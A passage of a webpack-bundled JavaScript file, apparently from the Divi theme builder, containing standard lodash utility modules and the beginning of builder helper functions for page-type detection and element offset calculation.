***! \*****************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGet = __webpack_require__(/*! ./_baseGet */ "./includes/builder/node_modules/lodash/_baseGet.js"); /** * Gets the value at `path` of `object`. If the resolved value is * `undefined`, the `defaultValue` is returned in its place. * * @static * @memberOf _ * @since 3.7.0 * @category Object * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @param {*} [defaultValue] The value returned for `undefined` resolved values. * @returns {*} Returns the resolved value. * @example * * var object = { 'a': [{ 'b': { 'c': 3 } }] }; * * _.get(object, 'a[0].b.c'); * // => 3 * * _.get(object, ['a', '0', 'b', 'c']); * // => 3 * * _.get(object, 'a.b.c', 'default'); * // => 'default' */ function get(object, path, defaultValue) { var result = object == null ? undefined : baseGet(object, path); return result === undefined ? defaultValue : result; } module.exports = get; /***/ }), /***/ "./includes/builder/node_modules/lodash/includes.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/includes.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIndexOf = __webpack_require__(/*! ./_baseIndexOf */ "./includes/builder/node_modules/lodash/_baseIndexOf.js"), isArrayLike = __webpack_require__(/*! ./isArrayLike */ "./includes/builder/node_modules/lodash/isArrayLike.js"), isString = __webpack_require__(/*! ./isString */ "./includes/builder/node_modules/lodash/isString.js"), toInteger = __webpack_require__(/*! ./toInteger */ "./includes/builder/node_modules/lodash/toInteger.js"), values = __webpack_require__(/*! ./values */ "./includes/builder/node_modules/lodash/values.js"); /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeMax = Math.max; /** * Checks if `value` is in `collection`. If `collection` is a string, it's * checked for a substring of `value`, otherwise * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero) * is used for equality comparisons. If `fromIndex` is negative, it's used as * the offset from the end of `collection`. * * @static * @memberOf _ * @since 0.1.0 * @category Collection * @param {Array|Object|string} collection The collection to inspect. * @param {*} value The value to search for. * @param {number} [fromIndex=0] The index to search from. * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`. * @returns {boolean} Returns `true` if `value` is found, else `false`. * @example * * _.includes([1, 2, 3], 1); * // => true * * _.includes([1, 2, 3], 1, 2); * // => false * * _.includes({ 'a': 1, 'b': 2 }, 1); * // => true * * _.includes('abcd', 'bc'); * // => true */ function includes(collection, value, fromIndex, guard) { collection = isArrayLike(collection) ? collection : values(collection); fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0; var length = collection.length; if (fromIndex < 0) { fromIndex = nativeMax(length + fromIndex, 0); } return isString(collection) ? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1) : (!!length && baseIndexOf(collection, value, fromIndex) > -1); } module.exports = includes; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArguments.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArguments.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsArguments = __webpack_require__(/*! ./_baseIsArguments */ "./includes/builder/node_modules/lodash/_baseIsArguments.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Built-in value references. */ var propertyIsEnumerable = objectProto.propertyIsEnumerable; /** * Checks if `value` is likely an `arguments` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, * else `false`. * @example * * _.isArguments(function() { return arguments; }()); * // => true * * _.isArguments([1, 2, 3]); * // => false */ var isArguments = baseIsArguments(function() { return arguments; }()) ? baseIsArguments : function(value) { return isObjectLike(value) && hasOwnProperty.call(value, 'callee') && !propertyIsEnumerable.call(value, 'callee'); }; module.exports = isArguments; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArray.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArray.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is classified as an `Array` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an array, else `false`. * @example * * _.isArray([1, 2, 3]); * // => true * * _.isArray(document.body.children); * // => false * * _.isArray('abc'); * // => false * * _.isArray(_.noop); * // => false */ var isArray = Array.isArray; module.exports = isArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/isArrayLike.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isArrayLike.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isFunction = __webpack_require__(/*! ./isFunction */ "./includes/builder/node_modules/lodash/isFunction.js"), isLength = __webpack_require__(/*! ./isLength */ "./includes/builder/node_modules/lodash/isLength.js"); /** * Checks if `value` is array-like. A value is considered array-like if it's * not a function and has a `value.length` that's an integer greater than or * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is array-like, else `false`. * @example * * _.isArrayLike([1, 2, 3]); * // => true * * _.isArrayLike(document.body.children); * // => true * * _.isArrayLike('abc'); * // => true * * _.isArrayLike(_.noop); * // => false */ function isArrayLike(value) { return value != null && isLength(value.length) && !isFunction(value); } module.exports = isArrayLike; /***/ }), /***/ "./includes/builder/node_modules/lodash/isBuffer.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isBuffer.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(module) {var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"), stubFalse = __webpack_require__(/*! ./stubFalse */ "./includes/builder/node_modules/lodash/stubFalse.js"); /** Detect free variable `exports`. */ var freeExports = true && exports && !exports.nodeType && exports; /** Detect free variable `module`. */ var freeModule = freeExports && typeof module == 'object' && module && !module.nodeType && module; /** Detect the popular CommonJS extension `module.exports`. */ var moduleExports = freeModule && freeModule.exports === freeExports; /** Built-in value references. */ var Buffer = moduleExports ? root.Buffer : undefined; /* Built-in method references for those with the same name as other `lodash` methods. */ var nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined; /** * Checks if `value` is a buffer. * * @static * @memberOf _ * @since 4.3.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a buffer, else `false`. * @example * * _.isBuffer(new Buffer(2)); * // => true * * _.isBuffer(new Uint8Array(2)); * // => false */ var isBuffer = nativeIsBuffer || stubFalse; module.exports = isBuffer; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module))) /***/ }), /***/ "./includes/builder/node_modules/lodash/isFunction.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isFunction.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"); /** `Object#toString` result references. */ var asyncTag = '[object AsyncFunction]', funcTag = '[object Function]', genTag = '[object GeneratorFunction]', proxyTag = '[object Proxy]'; /** * Checks if `value` is classified as a `Function` object. * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a function, else `false`. * @example * * _.isFunction(_); * // => true * * _.isFunction(/abc/); * // => false */ function isFunction(value) { if (!isObject(value)) { return false; } // The use of `Object#toString` avoids issues with the `typeof` operator // in Safari 9 which returns 'object' for typed arrays and other constructors. var tag = baseGetTag(value); return tag == funcTag || tag == genTag || tag == asyncTag || tag == proxyTag; } module.exports = isFunction; /***/ }), /***/ "./includes/builder/node_modules/lodash/isLength.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isLength.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** Used as references for various `Number` constants. */ var MAX_SAFE_INTEGER = 9007199254740991; /** * Checks if `value` is a valid array-like length. * * **Note:** This method is loosely based on * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a valid length, else `false`. * @example * * _.isLength(3); * // => true * * _.isLength(Number.MIN_VALUE); * // => false * * _.isLength(Infinity); * // => false * * _.isLength('3'); * // => false */ function isLength(value) { return typeof value == 'number' && value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER; } module.exports = isLength; /***/ }), /***/ "./includes/builder/node_modules/lodash/isObject.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isObject.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is the * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types) * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`) * * @static * @memberOf _ * @since 0.1.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an object, else `false`. * @example * * _.isObject({}); * // => true * * _.isObject([1, 2, 3]); * // => true * * _.isObject(_.noop); * // => true * * _.isObject(null); * // => false */ function isObject(value) { var type = typeof value; return value != null && (type == 'object' || type == 'function'); } module.exports = isObject; /***/ }), /***/ "./includes/builder/node_modules/lodash/isObjectLike.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isObjectLike.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Checks if `value` is object-like. A value is object-like if it's not `null` * and has a `typeof` result of "object". * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is object-like, else `false`. * @example * * _.isObjectLike({}); * // => true * * _.isObjectLike([1, 2, 3]); * // => true * * _.isObjectLike(_.noop); * // => false * * _.isObjectLike(null); * // => false */ function isObjectLike(value) { return value != null && typeof value == 'object'; } module.exports = isObjectLike; /***/ }), /***/ "./includes/builder/node_modules/lodash/isString.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isString.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var stringTag = '[object String]'; /** * Checks if `value` is classified as a `String` primitive or object. * * @static * @since 0.1.0 * @memberOf _ * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a string, else `false`. * @example * * _.isString('abc'); * // => true * * _.isString(1); * // => false */ function isString(value) { return typeof value == 'string' || (!isArray(value) && isObjectLike(value) && baseGetTag(value) == stringTag); } module.exports = isString; /***/ }), /***/ "./includes/builder/node_modules/lodash/isSymbol.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/isSymbol.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var symbolTag = '[object Symbol]'; /** * Checks if `value` is classified as a `Symbol` primitive or object. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a symbol, else `false`. * @example * * _.isSymbol(Symbol.iterator); * // => true * * _.isSymbol('abc'); * // => false */ function isSymbol(value) { return typeof value == 'symbol' || (isObjectLike(value) && baseGetTag(value) == symbolTag); } module.exports = isSymbol; /***/ }), /***/ "./includes/builder/node_modules/lodash/isTypedArray.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/isTypedArray.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsTypedArray = __webpack_require__(/*! ./_baseIsTypedArray */ "./includes/builder/node_modules/lodash/_baseIsTypedArray.js"), baseUnary = __webpack_require__(/*! ./_baseUnary */ "./includes/builder/node_modules/lodash/_baseUnary.js"), nodeUtil = __webpack_require__(/*! ./_nodeUtil */ "./includes/builder/node_modules/lodash/_nodeUtil.js"); /* Node.js helper references. */ var nodeIsTypedArray = nodeUtil && nodeUtil.isTypedArray; /** * Checks if `value` is classified as a typed array. * * @static * @memberOf _ * @since 3.0.0 * @category Lang * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. * @example * * _.isTypedArray(new Uint8Array); * // => true * * _.isTypedArray([]); * // => false */ var isTypedArray = nodeIsTypedArray ? baseUnary(nodeIsTypedArray) : baseIsTypedArray; module.exports = isTypedArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/keys.js": /*!******************************************************!*\ !*** ./includes/builder/node_modules/lodash/keys.js ***! \******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var arrayLikeKeys = __webpack_require__(/*! ./_arrayLikeKeys */ "./includes/builder/node_modules/lodash/_arrayLikeKeys.js"), baseKeys = __webpack_require__(/*! ./_baseKeys */ "./includes/builder/node_modules/lodash/_baseKeys.js"), isArrayLike = __webpack_require__(/*! ./isArrayLike */ "./includes/builder/node_modules/lodash/isArrayLike.js"); /** * Creates an array of the own enumerable property names of `object`. * * **Note:** Non-object values are coerced to objects. See the * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys) * for more details. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.keys(new Foo); * // => ['a', 'b'] (iteration order is not guaranteed) * * _.keys('hi'); * // => ['0', '1'] */ function keys(object) { return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object); } module.exports = keys; /***/ }), /***/ "./includes/builder/node_modules/lodash/memoize.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/memoize.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var MapCache = __webpack_require__(/*! ./_MapCache */ "./includes/builder/node_modules/lodash/_MapCache.js"); /** Error message constants. */ var FUNC_ERROR_TEXT = 'Expected a function'; /** * Creates a function that memoizes the result of `func`. If `resolver` is * provided, it determines the cache key for storing the result based on the * arguments provided to the memoized function. By default, the first argument * provided to the memoized function is used as the map cache key. The `func` * is invoked with the `this` binding of the memoized function. * * **Note:** The cache is exposed as the `cache` property on the memoized * function. Its creation may be customized by replacing the `_.memoize.Cache` * constructor with one whose instances implement the * [`Map`](http://ecma-international.org/ecma-262/7.0/#sec-properties-of-the-map-prototype-object) * method interface of `clear`, `delete`, `get`, `has`, and `set`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to have its output memoized. * @param {Function} [resolver] The function to resolve the cache key. * @returns {Function} Returns the new memoized function. * @example * * var object = { 'a': 1, 'b': 2 }; * var other = { 'c': 3, 'd': 4 }; * * var values = _.memoize(_.values); * values(object); * // => [1, 2] * * values(other); * // => [3, 4] * * object.a = 2; * values(object); * // => [1, 2] * * // Modify the result cache. * values.cache.set(object, ['a', 'b']); * values(object); * // => ['a', 'b'] * * // Replace `_.memoize.Cache`. * _.memoize.Cache = WeakMap; */ function memoize(func, resolver) { if (typeof func != 'function' || (resolver != null && typeof resolver != 'function')) { throw new TypeError(FUNC_ERROR_TEXT); } var memoized = function() { var args = arguments, key = resolver ? resolver.apply(this, args) : args[0], cache = memoized.cache; if (cache.has(key)) { return cache.get(key); } var result = func.apply(this, args); memoized.cache = cache.set(key, result) || cache; return result; }; memoized.cache = new (memoize.Cache || MapCache); return memoized; } // Expose `MapCache`. memoize.Cache = MapCache; module.exports = memoize; /***/ }), /***/ "./includes/builder/node_modules/lodash/stubFalse.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/stubFalse.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * This method returns `false`. * * @static * @memberOf _ * @since 4.13.0 * @category Util * @returns {boolean} Returns `false`. * @example * * _.times(2, _.stubFalse); * // => [false, false] */ function stubFalse() { return false; } module.exports = stubFalse; /***/ }), /***/ "./includes/builder/node_modules/lodash/toFinite.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toFinite.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var toNumber = __webpack_require__(/*! ./toNumber */ "./includes/builder/node_modules/lodash/toNumber.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0, MAX_INTEGER = 1.7976931348623157e+308; /** * Converts `value` to a finite number. * * @static * @memberOf _ * @since 4.12.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted number. * @example * * _.toFinite(3.2); * // => 3.2 * * _.toFinite(Number.MIN_VALUE); * // => 5e-324 * * _.toFinite(Infinity); * // => 1.7976931348623157e+308 * * _.toFinite('3.2'); * // => 3.2 */ function toFinite(value) { if (!value) { return value === 0 ? value : 0; } value = toNumber(value); if (value === INFINITY || value === -INFINITY) { var sign = (value < 0 ? -1 : 1); return sign * MAX_INTEGER; } return value === value ? value : 0; } module.exports = toFinite; /***/ }), /***/ "./includes/builder/node_modules/lodash/toInteger.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toInteger.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var toFinite = __webpack_require__(/*! ./toFinite */ "./includes/builder/node_modules/lodash/toFinite.js"); /** * Converts `value` to an integer. * * **Note:** This method is loosely based on * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger). * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {number} Returns the converted integer. * @example * * _.toInteger(3.2); * // => 3 * * _.toInteger(Number.MIN_VALUE); * // => 0 * * _.toInteger(Infinity); * // => 1.7976931348623157e+308 * * _.toInteger('3.2'); * // => 3 */ function toInteger(value) { var result = toFinite(value), remainder = result % 1; return result === result ? (remainder ? result - remainder : result) : 0; } module.exports = toInteger; /***/ }), /***/ "./includes/builder/node_modules/lodash/toNumber.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toNumber.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseTrim = __webpack_require__(/*! ./_baseTrim */ "./includes/builder/node_modules/lodash/_baseTrim.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var NAN = 0 / 0; /** Used to detect bad signed hexadecimal string values. */ var reIsBadHex = /^[-+]0x[0-9a-f]+$/i; /** Used to detect binary string values. */ var reIsBinary = /^0b[01]+$/i; /** Used to detect octal string values. */ var reIsOctal = /^0o[0-7]+$/i; /** Built-in method references without a dependency on `root`. */ var freeParseInt = parseInt; /** * Converts `value` to a number. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to process. * @returns {number} Returns the number. * @example * * _.toNumber(3.2); * // => 3.2 * * _.toNumber(Number.MIN_VALUE); * // => 5e-324 * * _.toNumber(Infinity); * // => Infinity * * _.toNumber('3.2'); * // => 3.2 */ function toNumber(value) { if (typeof value == 'number') { return value; } if (isSymbol(value)) { return NAN; } if (isObject(value)) { var other = typeof value.valueOf == 'function' ? value.valueOf() : value; value = isObject(other) ? (other + '') : other; } if (typeof value != 'string') { return value === 0 ? value : +value; } value = baseTrim(value); var isBinary = reIsBinary.test(value); return (isBinary || reIsOctal.test(value)) ? freeParseInt(value.slice(2), isBinary ? 2 : 8) : (reIsBadHex.test(value) ? NAN : +value); } module.exports = toNumber; /***/ }), /***/ "./includes/builder/node_modules/lodash/toString.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/toString.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseToString = __webpack_require__(/*! ./_baseToString */ "./includes/builder/node_modules/lodash/_baseToString.js"); /** * Converts `value` to a string. An empty string is returned for `null` * and `undefined` values. The sign of `-0` is preserved. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to convert. * @returns {string} Returns the converted string. * @example * * _.toString(null); * // => '' * * _.toString(-0); * // => '-0' * * _.toString([1, 2, 3]); * // => '1,2,3' */ function toString(value) { return value == null ? '' : baseToString(value); } module.exports = toString; /***/ }), /***/ "./includes/builder/node_modules/lodash/values.js": /*!********************************************************!*\ !*** ./includes/builder/node_modules/lodash/values.js ***! \********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseValues = __webpack_require__(/*! ./_baseValues */ "./includes/builder/node_modules/lodash/_baseValues.js"), keys = __webpack_require__(/*! ./keys */ "./includes/builder/node_modules/lodash/keys.js"); /** * Creates an array of the own enumerable string keyed property values of `object`. * * **Note:** Non-object values are coerced to objects. * * @static * @since 0.1.0 * @memberOf _ * @category Object * @param {Object} object The object to query. * @returns {Array} Returns the array of property values. * @example * * function Foo() { * this.a = 1; * this.b = 2; * } * * Foo.prototype.c = 3; * * _.values(new Foo); * // => [1, 2] (iteration order is not guaranteed) * * _.values('hi'); * // => ['h', 'i'] */ function values(object) { return object == null ? [] : baseValues(object, keys(object)); } module.exports = values; /***/ }), /***/ "./includes/builder/scripts/utils/utils.js": /*!*************************************************!*\ !*** ./includes/builder/scripts/utils/utils.js ***! \*************************************************/ /*! exports provided: isBuilderType, is, isFE, isVB, isBFB, isTB, isLBB, isDiviTheme, isExtraTheme, isLBP, isBlockEditor, isBuilder, getOffsets, maybeIncreaseEmitterMaxListeners, maybeDecreaseEmitterMaxListeners, registerFrontendComponent, setImportantInlineValue */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBuilderType", function() { return isBuilderType; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "is", function() { return is; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isFE", function() { return isFE; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isVB", function() { return isVB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBFB", function() { return isBFB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isTB", function() { return isTB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isLBB", function() { return isLBB; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isDiviTheme", function() { return isDiviTheme; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isExtraTheme", function() { return isExtraTheme; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isLBP", function() { return isLBP; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBlockEditor", function() { return isBlockEditor; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "isBuilder", function() { return isBuilder; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "getOffsets", function() { return getOffsets; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "maybeIncreaseEmitterMaxListeners", function() { return maybeIncreaseEmitterMaxListeners; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "maybeDecreaseEmitterMaxListeners", function() { return maybeDecreaseEmitterMaxListeners; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "registerFrontendComponent", function() { return registerFrontendComponent; }); /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "setImportantInlineValue", function() { return setImportantInlineValue; }); /* harmony import */ var lodash_includes__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! lodash/includes */ "./includes/builder/node_modules/lodash/includes.js"); /* harmony import */ var lodash_includes__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(lodash_includes__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var lodash_get__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! lodash/get */ "./includes/builder/node_modules/lodash/get.js"); /* harmony import */ var lodash_get__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(lodash_get__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! jquery */ "jquery"); /* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_2__); /* harmony import */ var _core_admin_js_frame_helpers__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @core/admin/js/frame-helpers */ "./core/admin/js/frame-helpers.js"); function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * IMPORTANT: Keep external dependencies as low as possible since this utils might be * imported by various frontend scripts; need to keep frontend script size low. */ // External dependencies // Internal dependencies /** * Check current page's builder Type. * * @since 4.6.0 * * @param {string} builderType Fe|vb|bfb|tb|lbb|lbp. * * @returns {bool} */ var isBuilderType = function isBuilderType(builderType) { return builderType === window.et_builder_utils_params.builderType; }; /** * Return condition value. * * @since 4.6.0 * * @param {string} conditionName * * @returns {bool} */ var is = function is(conditionName) { return window.et_builder_utils_params.condition[conditionName]; }; /** * Is current page Frontend. * * @since 4.6.0 * * @type {bool} */ var isFE = isBuilderType('fe'); /** * Is current page Visual Builder. * * @since 4.6.0 * * @type {bool} */ var isVB = isBuilderType('vb'); /** * Is current page BFB / New Builder Experience. * * @since 4.6.0 * * @type {bool} */ var isBFB = isBuilderType('bfb'); /** * Is current page Theme Builder. * * @since 4.6.0 * * @type {bool} */ var isTB = isBuilderType('tb'); /** * Is current page Layout Block Builder. * * @type {bool} */ var isLBB = isBuilderType('lbb'); /** * Is current page uses Divi Theme. * * @since 4.6.0 * * @type {bool} */ var isDiviTheme = is('diviTheme'); /** * Is current page uses Extra Theme. * * @since 4.6.0 * * @type {bool} */ var isExtraTheme = is('extraTheme'); /** * Is current page Layout Block Preview. * * @since 4.6.0 * * @type {bool} */ var isLBP = isBuilderType('lbp'); /** * Check if current window is block editor window (gutenberg editing page). * * @since 4.6.0 * * @type {bool} */ var isBlockEditor = 0 < jquery__WEBPACK_IMPORTED_MODULE_2___default()(_core_admin_js_frame_helpers__WEBPACK_IMPORTED_MODULE_3__["top_window"].document).find('.edit-post-layout__content').length; /** * Check if current window is builder window (VB, BFB, TB, LBB). * * @since 4.6.0 * * @type {bool} */ var isBuilder = lodash_includes__WEBPACK_IMPORTED_MODULE_0___default()(['vb', 'bfb', 'tb', 'lbb'], window.et_builder_utils_params.builderType); /** * Get offsets value of all sides. * * @since 4.6.0 * * @param {object} $selector JQuery selector instance. * @param {number} height * @param {number} width * * @returns {object} */ var getOffsets = function getOffsets($selector) { var width = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var height = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; // Return previously saved offset if sticky tab is active; retrieving actual offset contain risk // of incorrect offsets if sticky horizontal / vertical offset of relative position is modified. var isStickyTabActive = isBuilder && $selector.hasClass('et_pb_sticky') && 'fixed' !== $selector.css('position'); var cachedOffsets = $selector.data('et-offsets'); var cachedDevice = $selector.data('et-offsets-device'); var currentDevice = lodash_get__WEBPACK_IMPORTED_MODULE_1___default()(window.ET_FE, 'stores.window.breakpoint', ''); // Only return cachedOffsets if sticky tab is active and cachedOffsets is not undefined and // cachedDevice equal to currentDevice. if (isStickyTabActive && cachedOffsets !== undefined && cachedDevice === currentDevice) { return cachedOffsets; } // Get top & left offsets var offsets = $selector.offset(); // If no offsets found, return empty object if ('undefined' === typeof offsets) { return {}; } // FE sets the flag for sticky module which uses transform as classname on module wrapper while // VB, BFB, TB, and LB sets the flag on CSS output's <style> element because it can't modify // its parent. This compromises avoids the needs to extract transform rendering logic var hasTransform = isBuilder ? $selector.children('.et-fb-custom-css-output[data-sticky-has-transform="on"]').length > 0 : $selector.hasClass('et_pb_sticky--has-transform'); var top = 'undefined' === typeof offsets.top ? 0 : offsets.top; var left = 'undefined' === typeof offsets.left ? 0 : offsets.left; // If module is sticky module that uses transform, its offset calculation needs to be adjusted // because transform tends to modify the positioning of the module if (hasTransform) { // Calculate offset (relative to selector's parent) AFTER it is affected by transform // NOTE: Can't use jQuery's position() because it considers margin-left `auto` which causes issue // on row thus this manually calculate the difference between element and its parent's offset // @see https://github.com/jquery/jquery/blob/1.12-stable/src/offset.js#L149-L155 var parentOffsets = $selector.parent().offset(); var transformedPosition = { top: offsets.top - parentOffsets.top, left: offsets.left - parentOffsets.left }; // Calculate offset (relative to selector's parent) BEFORE it is affected by transform var preTransformedPosition = { top: $selector[0].offsetTop, left: $selector[0].offsetLeft }; // Update offset's top 